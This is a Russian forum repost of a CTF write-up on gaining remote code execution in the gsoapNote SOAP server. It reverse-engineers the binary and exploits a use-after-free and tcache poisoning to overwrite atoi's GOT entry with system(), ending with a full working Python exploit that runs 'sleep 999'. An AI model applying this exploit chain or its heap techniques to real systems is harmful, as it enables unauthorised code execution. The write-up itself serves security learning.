• XSS.stack #1 – первый литературный журнал от юзеров форума

PWN Разборки на куче. Эксплуатируем хип уязвимого SOAP-сервера на Linux

weaver

31 c0 bb ea 1b e6 77 66 b8 88 13 50 ff d3
Забанен
Регистрация
19.12.2018
Сообщения
3 301
Решения
11
Реакции
4 622
Депозит
0.0001
Пожалуйста, обратите внимание, что пользователь заблокирован
В этой статье я покажу разбор интересной задачки в духе CTF. Мы получим удаленное выполнение кода на сервере SOAP. Все примитивы эксплуатации так или иначе связаны с кучей, поэтому ты узнаешь много нового о функциях, которые с ней работают. Нам предстоит пореверсить бинарь для Linux, используя фреймворк динамической инструментации.

Авторы таска подготовили нам три файла:
SOAP — это протокол на основе XML, который используется для удаленного вызова процедур (Remote Procedure Call). Файл ns.wsdl (Web Services Description Language) описывает доступ к вызываемым процедурам. Наша задача — получить удаленное исполнение кода в SOAP-сервисе gsoapNote.


Авторы таска намекают, что gsoapNote запускается на тачке с Linux, где загружена библиотека libc-2.27.so. Поэтому сразу заставляем отладчик GDB загружать конкретно этот бинарь при старте сервиса. В .gdbinit добавим

Код:
user@ubuntu: cat .gdbinit
...
set exec-wrapper env 'LD_PRELOAD=./libc-2.27.so'

Извлечем из ns.wsdl информацию c помощью утилиты SOAPUI.

1652512343700.png


SOAPUI автоматически формирует XML-шаблон запроса RPC. Мы сразу видим, на каком сетевом интерфейсе и порте стартует сервер — localhost:33263, а также имя RPC-метода — handleCommand(). SOAPUI ничего не знает об аргументах, поэтому на их месте стоит знак вопроса.

Запускаем gsoapNote и через SOAPUI отправляем неполноценный шаблон. Получаем осмысленный ответ от сервера, закодированный в Base64:

Код:
<resultCode>2</resultCode>

Наверно, двойка — это оценка нашего запроса, который не понравился gsoapNote!

Взглянем на бинарные митигации.

1652512399800.png


Из плохих новостей — стековые канарейки защищают gsoapNote от переполнения буфера на стеке (2 — Canary found), NX делает некоторые страницы памяти неисполняемыми (3 — NX enabled).

Хороших новостей гораздо больше: строка RELRO говорит о том, что мы можем переписывать адреса функций из shared-библиотек (1 — Partial RELRO) и эти адреса не будут рандомизироваться (4 — No PIE), а это хорошее подспорье для перехвата управления. Ну и самая хорошая новость — в бинарнике есть символы (5 — 817 Symbols), значит, у нас будут хотя бы сигнатуры функций, а это очень облегчит реверс.


РЕВЕРС-ИНЖИНИРИНГ​


handleCommand​

Не забываем, что gsoapNote собран с символами, поэтому сразу грузим его в «Иду» и прыгаем к функции handleCommand().

Info: Очень удобное расположение окон в «Иде» я подсмотрел у ребят с OALabs: окна с дизассемблерным и декомпилированным листингами разделяют воркспейс пополам и синхронизируются между собой.

Декомпилированный листинг не то чтобы ужасный, но понять, что происходит, сложно. Цикл for, куча вложенных if, функция executeCommand() принимает девять аргументов...

1652512474200.png


Давай будем рассматривать листинг как картину импрессионистов — отойдем на пару шагов назад и поищем общие паттерны.

Во‑первых, сразу в нескольких местах видим, что если в if условие не выполняется, то локальной переменной v11 присваивается значение 2 и пропускается куча кода. А двойка — это как раз тот result code, который пришел в ответ на шаблон SOAPUI. Все сходится.

1652512528500.png


Очень много кода выполняется внутри цикла for. Обратим наше внимание на него.

1652512555100.png


Перед циклом вызывается функция xmlDocGetRootElement(), возвращенная структура используется в цикле for. Разыменовывается оффсет +24 для инициализации счетчика и оффсет +48 для итерации.

Вместо исследования внутренностей функции xmlDocGetRootElement() посмотрим примеры исходного кода с ее использованием. В этом нам поможет grep.app. Этот сайт покажет примеры исходного кода качественных репозиториев с интересующей нас функцией.

1652512585200.png


По ссылке прыгаем в репозиторий проекта (я выбрал lastpass) и вникаем в исходный код:


C:
// lastpass xml.c source code
...
#include <libxml/parser.h>
#include <libxml/tree.h>
...
xmlNode *root;
root = xmlDocGetRootElement(doc);
...

Ага... значит, xmlDocGetRootElement() возвращает указатель на структуру типа xmlNode, а сама структура определена в libxml. Гуглим libxml и находим устройство структуры xmlNode. Особенно нас интересуют оффсеты, которые мы встретили в декомпиленном листинге.

1652512645300.png


Перенесем это знание в «Иду». Создаем структуру xmlNode по тому же принципу.

1652512667100.png


Info: Необязательно восстанавливать структуру полностью один в один. Делаем это до нужного нам оффсета +48 (+0x30).

Теперь возвращаемся в декомпилированный листинг и присваиваем локальной переменной v16 тип указателя на xmlNode.

И все стало гораздо лучше! То, что происходит в цикле for, теперь как на ладони! Наш gsoapNote парсит XML: достает рутовую ноду, инициализирует счетчик его потомком xmlNode->children и обходит соседние ноды этого потомка при помощи xmlNode->next. И strcmp() теперь обрел смысл: сравнивается имя ноды curXmlNode->name с захардкоженной строкой "array".

1652512714300.png


Обрати внимание на функцию parseArray(), она принимает текущую XML-ноду и зануленный двадцатибайтовый массив. Зануляется он, скорее всего, потому, что в него будет записан результат парсинга, не зря же функция parseArray() имеет такое название.

Еще обратим внимание на то, как код возврата parseArray() влияет на поток выполнения: если ноль, то вызывается функция с любопытным названием executeCommand(), в противном случае обрабатываем следующую ноду.

Определенно нам надо попасть в executeCommand(), но для этого нужно распарсить массив с нулевым кодом возврата.

parseArray​

Функция принимает два аргумента: a1 и a2. Мы уже выяснили, что первый — указатель на xmlNode, а второй — зануленный байтовый массив. Давай посмотрим, что происходит с этим массивом. Для этого в декомпилированном листинге смотрим кросс‑референсы на a2.

1652512745300.png


Сразу подмечаем оффсеты: +0, +8, +16, +24. Каждый следующий оффсет больше предыдущего на размер QWORD (8 байт). Это не 0x20-байтовый массив, а массив из четырех QWORD. К 85-й строке вся структура инициализирована.

По оффсетам +0 и +16 будут указатели на строки, по +8 и +24 будут int.

Предположим, что в эту структуру из четырех QWORD заносится результат парсинга. Назовем ее PARSE_RESULT.

1652512768400.png


Присвоим аргументу a1 тип xmlNode, а аргументу a2 тип PARSE_RESULT и снова взглянем на parseArray(). Внутри опять видим много однообразного кода парсинга XML. Поскольку мы удачно определили структуры входных аргументов, читаем декомпиленный листинг практически как исходный код.

1652512800000.png


Анализируя parseArray() дальше, мы получаем практически целостную картину того, что нужно вставить вместо многозначительного знака вопроса. Не буду утомлять тебя дальнейшим разбором, а просто покажу, как выглядит ожидаемый XML.

1652512826400.png


Info: Значение ноды <number> должно быть равно количеству нод внутри <array> минус один.

Правильное определение используемых структур позволило достать много информации из статического анализа gsoapNote. Давай продолжать исследование в динамике. Отправим XML на рисунке выше, поставим брейк‑пойнт на выходе из parseArray() (по адресу 0x403BE2) и посмотрим, что лежит в PARSE_RESULT после парсинга XML из запроса выше:

Код:
# Посмотрим, что лежит в PARSE_RESULT после выхода из parseArray
pwndbg> x/4gx $PARSE_RESULT
0x7ffffffd5a90: 0x00000000006562a0      0x0000000000001000
0x7ffffffd5aa0: 0x00000000006575b0      0x0000000000010000
pwndbg> x/s ((long*)$PARSE_RESULT)[0]
0x6562a0:       "AAAAAA"
pwndbg> x/d ((long*)$PARSE_RESULT + 1)
0x7ffffffd5a98: 4096
pwndbg> x/s ((long*)$PARSE_RESULT)[2]
0x6575b0:       "BBBBBB"
pwndbg> x/d ((long*)$PARSE_RESULT + 3)
0x7ffffffd5aa8: 65536
# Содержимое полностью соответствует XML
# А вот код возврата -1 подвел...
pwndbg> i r rax
rax            0xffffffff

С удовольствием наблюдаем, как контролируемые нами данные оседают в памяти. Все поля структуры PARSE_RESULT инициализированы, значит, выполнился почти весь код функции parseArray(), но код возврата -1, а это не дает нам двигаться дальше...

Давай разбираться. Можно, конечно, пошагово выполнить код в отладчике, но это долго. Мы сделаем это быстро, одним выстрелом — подсветим выполненный код с помощью DynamoRIO.

DynamoRIO — это фреймворк для разработки инструментов динамического анализа. Нам понадобится встроенный в него инструмент drcov, который покажет нам все выполненные инструкции.

Info: Если вдруг захочешь решать эту проблему в отладчике, то советую использовать кастомную команду для GDB step before. Вводишь в консоль sb и брякаешься перед инструкцией call. Это ускорит процесс отладки.

Запускаем gsoapNote под инструментацией drcov следующим образом:

Код:
<path to DynamoRIO>/bin64/drrun -t drcov — gsoapNote

Снова отсылаем XML через SOAPUI и завершаем процесс.

Наш drrun сгенерировал файл drcov.gsoapNote.X.Y.proc.log, в котором содержатся адреса выполненных инструкций. Для просмотра этого файла будем использовать плагин lighthouse для IDA.

Info: На момент написания статьи последняя версия DynamoRIO — 9.0, c drcov версии 3, но lighthouse не может распарсить файл третьей версии, поэтому я использую версию 8.0 с drcov версии 2.

1652512962200.png


Зеленым цветом выделяются выполненные инструкции. На скрине выше приведен момент выхода с кодом возврата -1. И произошло это потому, что значение внутри <bulkString><number> не равно длине строки <bulkString><content>. В SOAPUI корректируем XML, пролетаем parseArray() и попадаем в executeCommand(). Успех.

1652513046100.png


executeCommand​

Это та самая функция с девятью аргументами, которая испугала нас в самом начале. Но действительно ли аргументов так много?

Код:
executeCommand((int)s, (int)"show", v3, v4, v5, v6, v18.pzStr1, v18.num1, (__int64)v18.pzStr2);

Соберем больше информации из дизассемблерного листинга. До этого gsoapNote использовал соглашение вызова System V: первые шесть аргументов передаются через регистры rdi, rsi, rdx, rcx, r8, r9, остальные через стек в обратном порядке.

Код:
# Как передаются аргументы в executeCommand()
mov rax, [rbp+s]
push [rbp+var_68] ; stack arg
push [rbp+var_70] ; stack arg
push [rbp+var_78] ; stack arg
push [rbp+var_80] ; stack arg
mov rdi, rax ; register arg
call executeCommand

Видим проинициализированный rdi и четыре аргумента на стеке. А давай посмотрим, что происходит с регистрами‑аргументами внутри executeCommand()!

Код:
mov [rbp+var_8], rdi ; rdi сохраняется
mov esi, offset s2 ; rsi перезаписан
mov rdx, [rbp+arg_10] ; rdx перезаписан
mov rcx, rax ; rcx перезаписан

Некоторые из них не используются и сразу перезаписываются! Мы столкнулись с тем, что компилятор оптимизировал вызов функции. Как видишь, при вызове функций внутри бинаря ему не обязательно следовать System V. «Ида» не была готова к такому и в декомпилированном листинге показала девять аргументов. Что ж, эта программа служит нам верой и правдой, давай простим ей это недоразумение.

WWW: О компиляторных оптимизациях увлекательно рассказывает Matt Godbolt в лекции Unbolting the Compiler’s Lid. Особенно мне нравится пример, в котором компилятор оптимизирует функцию для подсчета суммы элементов массива [1, 2, 3 ... N]. Разработчик делает это через цикл for, но компилятор оказывается умнее разработчика и использует формулу подсчета суммы арифметической прогрессии N(N+1)/2. У Мэтта ты так же можешь узнать про инструмент Compiler Explorer.

Давай просто в динамике посмотрим, что за четыре аргумента кладутся на стек. Брякаемся на инструкции call executeCommand по адресу 0x403CE4.

1652513329600.png


Info: Это скрин из плагина pwbdbg. Обрати внимание, что pwndbg сам разыменовывает стек, что невероятно удобно. Также в нем есть много полезных плагинов, один из которых мы используем позже.

Знакомые данные? На стеке лежит структура PARSE_RESULT, а в rdi — указатель на зануленный массив длиной 0xF0. То есть оптимизация заключается в том, что четыре кью‑ворда структуры PARSE_RESULT кладутся на стек, а из регистров используется только rdi. Давай перенесем это знание в «Иду», определив соглашение вызова собственноручно. В декомпиленном листинге установим тип функции.

Было:

C:
__int64 __fastcall executeCommand(__int64 a1, int a2, int a3, int a4, int a5, int a6, char *command, __int64 a8, __int64 a9)

Стало:

C:
__int64 __usercall executeCommand@<rax>(PARSE_RESULT pr, void *pArray_F0@<rdi>)

И любуемся декомпиленным листингом executeCommand(), как исходным кодом.

1652513476000.png


Сразу становится понятно, какие поля структуры PARSE_RESULT используются конкретными функциями, а также что PARSE_RESULT.pzStr1 — это имя команды (там, где у нас "АААААА").

Единственное, что нам осталось выяснить, — что это за массив длиной 0xF0. Он интересен тем, что передается в каждую из функций newNote(), editNote(), deleteNote() вместе с PARSE_RESULT. Раз уж его длина — 0xF0, то называть его мы будем foo, хоть сейчас мы сишники, а не питонисты.

На перепутье трех дорог выбираем самую простую — deleteNote.

deleteNote​

Посмотрим на маленький и приятный декомпил deleteNote

1652513533200.png


В строке 3 мы видим, что foo — это массив указателей, а num2 — индекс этого массива, индекс принимает значения от 0 до 9 включительно.

В строке 5 происходит разыменовывание указателя и проверяется, не равен ли нулю QWORD по оффсету +16 (будем называть эту область памяти bar). Если нет, то происходит вызов free() и дальше безусловный вызов free() на указатель по индексу num2. Давай я покажу схему (красным залиты данные, которые мы контролируем из XML, серым — то, что передается во free()).

1652513564200.png


Когда видишь free() в сишном коде, нужно обращать внимание на то, что происходит с освобожденным указателем дальше. Как видишь, в данном случае — ничего, а по‑хорошему его надо занулить. Ничто не мешает нам вызвать deleteNote() два раза с одним и тем же индексом. Это дает нам первый примитив — double free.

editNote​

В editNote() кода уже больше, но и мы уже кое‑что знаем о «фубаре».

1652513586000.png


Проверка на то, что индекс лежит в диапазоне 0 до 9. Такое мы уже видели в deleteNote(). Из bar достаем первый QWORD и сравниваем его с длиной нашей строки из XML, предварительно декодировав ее из Base64.

Если этот QWORD больше длины строки, копируем строку в bar. Логичная проверка на переполнение буфера. Вырисовывается схема хранения наших заметок. Вернем «фубары» питонистам и дадим вменяемые названия, связанные с записками. Так, foo — это массив указателей на структуру ноутов NOTE_ENTRY в bar.

1652513614100.png


newNote​

Осталось понять, что лежит по оффсетам NOTE_ENTRY +8, +24, +32 и дальше. Ответим и на эти вопросы!

1652513635500.png


Оффсеты +24 и дальше отбрасываем сразу, потому что под структуру выделяется 24 байта, значит, последний значащий QWORD лежит по оффсету +16.

По оффсету +8 записывается число, которое в предыдущих функциях интерпретировалось как индекс, а затем это число передается в malloc() и возвращенный указатель записывается в pText. В контексте newNote() это уже не индекс, а size ноута.

Дальше в pText копируется строка из XML (декодированная из Base64), а количество скопированных байтов в memcpy() задается длиной этой строки. Размеры выделенного буфера и размер скопированных данных могут не совпадать. Ha-ha, classic. Ванильный buffer overflow. В нашем случае на хипе.

1652513658800.png


Отдельно обращу твое внимание на то, что мы контролируем аргумент size для malloc(). Это дает возможность выбирать стратегию аллокации памяти glibc.

Info: Реализация malloc() в glibc поддерживает linked lists (они же bins) для блоков памяти разного размера. Поведение free() для этих bins тоже отличается. Мы воспользуемся этим при написании эксплоита.

show​

В executeCommand() запряталась еще одна команда — show. gsoapNote дает нам возможность создавать, удалять и редактировать заметки, как же без команды просмотра?

1652513748100.png


Учитывая то, что нам уже известны все поля NOTE_ENTRY, без труда понимаем, что здесь происходит: заметка по индексу кодируется в Base64 и возвращается пользователю. Поскольку после удаления deleteNote() указатель не зануляется, здесь открывается возможность для use after free: можно прочитать память после free().

ИТОГИ РЕВЕРСА​

Проверим, что мы поняли команды правильно: создадим ноут АААААА, отредактируем его, чтобы получилось BBB, покажем и удалим.

1652513771800.png


Отлично, все работает, как ожидается.

АНАЛИЗИРУЕМ ПРИМИТИВЫ​

Давай разберем имеющиеся примитивы и подумаем, как это можно эксплуатировать.

UAF (show после delete)​

Такая последовательность команд позволяет получить примитив утечки памяти для обхода ASLR. Более подробно он описан в классном разборе другой CTF на «Хакере». Объясню вкратце:

  • через команду new создаем чанк большого размера;
  • через команду delete освобождаем его там, где раньше был текст заметки, free() запишет указатель на glibc;
  • через show читаем этот указатель.
Накидаем POC в SOAPUI.

1652513864500.png


Elixir Cross Referencer​

Для изучения кода glibc советую использовать ресурс elixir.bootlin.com. Это как IDE в браузере. Там же ты можешь выбрать исходники любой версии библиотеки. Вот, например, место, когда во время исполнения free() записывается указатель на glibc unsorted bin.

1652513898700.png


Heap overflow​

В нашем случае сплоитить heap overflow не так‑то просто. Есть один момент, который я сознательно упустил в разделе «Реверс‑инжиниринг», — каждый XML-запрос создает в хипе новый массив pNOTE_ENTRY[], это значит, что если в первом XML мы создадим заметку, то она будет недоступна из второго запроса.

Например, эксплоит техники House of Force требует адрес глобальной структуры top_chunk, и, зная его, мы вычисляем size для malloc(), что триггернет int ovferflow в malloc(), и функция вернет контролируемый нами указатель. Предварительно через heap overflow перезаписывается поле top_chunk.size, чтобы выполнение кода дошло до int overflow.

Допустим, как‑то первым XML-запросом мы линканем адрес хипа, вычислим нужное значение size и отправим второй XML-запрос. Сколько‑то раз malloc() вызовется во время обработки запроса SOAP, потом еще malloc() для массива pNOTE_ENTRY[], и в момент эксплуатации вычисленное значение станет невалидным, а предсказать его непросто. Подробнее можешь прочитать здесь. Отложим этот примитив и будем искать дальше.

Неочевидный UAF и tcachebins​

Tcache добавили в glibc 2.26 для ускорения работы malloc(). Что необходимо понимать:

  • для каждого треда glibc выделяет несколько односвязных linked list для блоков разного размера (они же tcachebins);
  • free() добавляет освобожденный указатель в начало списка;
  • malloc() достает указатель из начала списка.
Предположим, что начальные условия следующие: tcache list пустой, мы создали ноут c size, равным 0x17. Зеленым выделены данные glibc, красным — контролируемые нами данные.

1652514199200.png


А теперь вызовем команду delete. Освободится два указателя, которые добавятся в tcache linked list.

1652514221400.png


Помнишь проверку в editNote() на то, что длина нового note должна быть меньше textLen оригинального? Теперь на месте textLen находится указатель на область памяти, значение указателя точно будет больше длины новой заметки.

Таким образом у нас сохраняется возможность редактировать последний элемент linked list через edit.

После редактирования glibc будет думать, что tcache linked list состоит из трех элементов. Соответственно, третий malloc() вернет контролируемый нами указатель. Обязательное условие — size всех трех malloc() должны соответствовать tcache small bin.

Мы подстроим так, что третий malloc() вызовется в команде new, а следующим вызовом будет memcpy() наших данных. Так мы получим мощнейший RW-примитив.

Обрати внимание на важный фактор — значение size. Смотри, что будет, если size станет, например, 0x20. Тогда указатель textLen занулится.

1652514246900.png


Мы потеряли возможность UAF команды edit: ноль всегда будет меньше длины новой заметки. Даже если дальше в коде вызовется free(), новый элемент добавится в начало списка. В нужном нам поле всегда будет ноль.

Накидаем POC в SOAPUI.

1652514267300.png


Info: Здесь ты видишь вывод встроенного в pwndbg плагина tcachebins, который наглядно показывает, что лежит в linked list. Также, если не хочешь изучать tcache в исходном коде glibc, можешь изучить питоновский код плагина.

Для удобства отладки я залогировал вызовы malloc() в newNote(). Смотри, какие адреса возвращает покоррапченный glibc:

Код:
New note - malloc size 0x18, addr 0x650390
New note - malloc size 0x400, addr 0x64acc0
New note - malloc size 0x18, addr 0x650030
New note - malloc size 0x8, addr 0x7ffff746d000 <--- Адрес, который мы задали в edit

Имеем ружье, которое стреляет восемью байтами по контролируемому адресу! Куда стрелять?

СОБИРАЕМ ЭКСПЛОИТ​

Когда я думал о том, как использовать эти примитивы, я мыслил довольно примитивно. Ну можем мы писать восемь байт по произвольному адресу... Надо перехватить управление... Можно переписать указатель на какую‑нибудь функцию, ROP-гаджетами снять NX хипа, записать туда шелл‑код... Думаю, ты понял.

Дальше я наткнулся на китайский райтап этой же CTF, не удержался и посмотрел, как это сделано там. И этот эксплоит показался мне настолько изящным, что дальше я приведу именно его.

1652514389400.png


Проблема в том, что, когда я рассуждал про эксплоит, я абсолютно проигнорировал тот факт, что бинарь работает дальше до четвертого malloc(). А тем временем XML продолжает обрабатываться и вызывать функции glibc!

Второй немаловажный факт — отсутствие RELRO в бинаре. Это значит, что можно стрелять в секцию .got.plt. Идеальной целью будет atoi(), поскольку в качестве входного аргумента функция принимает строку, такой же аргумент принимает system().

Пейлоад доставляется следующей XML-нодой <array>, которая после перезаписи .got.plt вызовет system() с контролируемой нами строкой.

1652514460700.png


Итак, в финальном эксплоите мы объединим два PoC. Таким образом, нам нужно послать два XML-сообщения. Задача первого — слить адрес glibc. Зная адрес glibc, можно вычислить VA-функции system(). Адрес указателя на atoi() в секции .got.plt бинаря известен заранее (в самом начале статьи я показал, что gsoapNote собран без ASLR). Вторым сообщением используем RW-примитив, чтобы перезаписать atoi() на system() и запустить пейлоад.

ЗАПУСКАЕМ ЭКСПЛОИТ​

Давай посмотрим, что у нас получилось!

Код:
user@ubuntu$ python3 exploit.py
[+] Stage I. Craft xml to leak libc address
[+] libc address is 0x7f5078132000
[+] Stage II. Calculate required addresess and trigger RCE
[+] system address is 0x7f50781814e0
[+] atoi .got.plt address is 0x6372b8
[+] trigger RCE

И подтверждаем RCE на сервере:

Код:
user@ubuntu:gsoapnote$ sudo ps aux --forest
...
\_ ./gsoapNote
\_ sleep 999 # Пейлоад отработал

ВЫВОДЫ​

Мы разобрали непростую задачку, изучили реализацию хип‑менеджмента glibc и попрактиковались в использовании нескольких полезных инструментов.

В качестве дополнительного задания можешь попробовать написать эксплоит через примитив heap overflow.

Код эксплоита через UAF приведен ниже.

Python:
import base64
import socket
import re
import struct

def soap_message(array):
    return f"""
    <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:note">
    <soapenv:Header/>
    <soapenv:Body>
    <urn:handleCommand soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
    <commandXml xsi:type="xsd:string">
    <commandSeq>
    {"".join(array)}
    </commandSeq>
    </commandXml>
    </urn:handleCommand>
    </soapenv:Body>
    </soapenv:Envelope>
    """

def new_note(content, size=None):
    contentBase64 = base64.b64encode(content)
    if not size:
        size = len(content)
        return f"""
        <array>
        <number>3</number>
        <simpleString>
        <content>new</content>
        </simpleString>
        <integer>
        <content>{size}</content>
        </integer>
        <bulkString>
        <content>{contentBase64.decode()}</content>
        <number>{len(contentBase64)}</number>
        </bulkString>
        </array>
        """

def edit_note(content, note_index):
    contentBase64 = base64.b64encode(content)
    return f"""
    <array>
    <number>3</number>
    <simpleString>
    <content>edit</content>
    </simpleString>
    <integer>
    <content>{note_index:d}</content>
    </integer>
    <bulkString>
    <content>{contentBase64.decode()}</content>
    <number>{len(contentBase64)}</number>
    </bulkString>
    </array>
    """

def show_note(note_index):
    return f"""
    <array>
    <number>2</number>
    <simpleString>
    <content>show</content>
    </simpleString>
    <integer>
    <content>{note_index:d}</content>
    </integer>
    </array>
    """

def delete_note(note_index):
    return f"""
    <array>
    <number>2</number>
    <simpleString>
    <content>delete</content>
    </simpleString>
    <integer>
    <content>{note_index:d}</content>
    </integer>
    </array>
    """

def payload(system_command):
    return f"""
    <array>
    <number>{system_command}</number>
    </array>
    """

def send_to_gsoapnote(command_array):
    msg = soap_message(command_array)
    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect(('localhost', 33263))
    sock.send(bytes(msg, 'ascii'))
    response = sock.recv(1024).decode()
    sock.close()
    try:
        result = re.findall(r"(?<=<result>).*(?=</result>)", response, flags=re.IGNORECASE)[0]
        result = base64.b64decode(result)
        print(result)
    except:
        pass
    try:
        result = re.findall(r"(?<=<msg>).*(?=</msg>)", result.decode(), flags=re.IGNORECASE)[0]
        result = base64.b64decode(result)
    except:
        pass
    return result

def libc_leak():
    free_and_show = (new_note(b'E'*8, 1281),delete_note(0),show_note(0))
    response = send_to_gsoapnote(free_and_show)
    fd_pointer = struct.unpack("<Q", response)[0]
    return fd_pointer - 0x3ec2c0

def exploit_tcache_linked_list(addr, value, system_command):
    tcache_exploit_commands = (new_note(b'A'*8, 0x17),delete_note(0),edit_note(struct.pack('Q', addr), 0),new_note(b'C'*8, 0x30),new_note(struct.pack('Q', value), 8),payload(system_command))
    response = send_to_gsoapnote(tcache_exploit_commands)

if __name__ == '__main__':
    print('[+] Stage I. Craft xml to leak libc address')
    libc_addr = libc_leak()
    print(f'[+] libc address is {hex(libc_addr)}')
    print('[+] Stage II. Calculate required addresess and trigger RCE')
    system_func_addr = libc_addr + 0x4f4e0
    atoi_plt_addr = 0x6372b8
    print(f'[+] system address is {hex(system_func_addr)}')
    print(f'[+] atoi .got.plt address is {hex(atoi_plt_addr)}')
    print('[+] trigger RCE')
    exploit_tcache_linked_list(atoi_plt_addr, system_func_addr, "sleep 999")

Автор: Марсель Шагиев
Источник: https://xakep.ru/2022/03/11/gsoapnote-rce/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх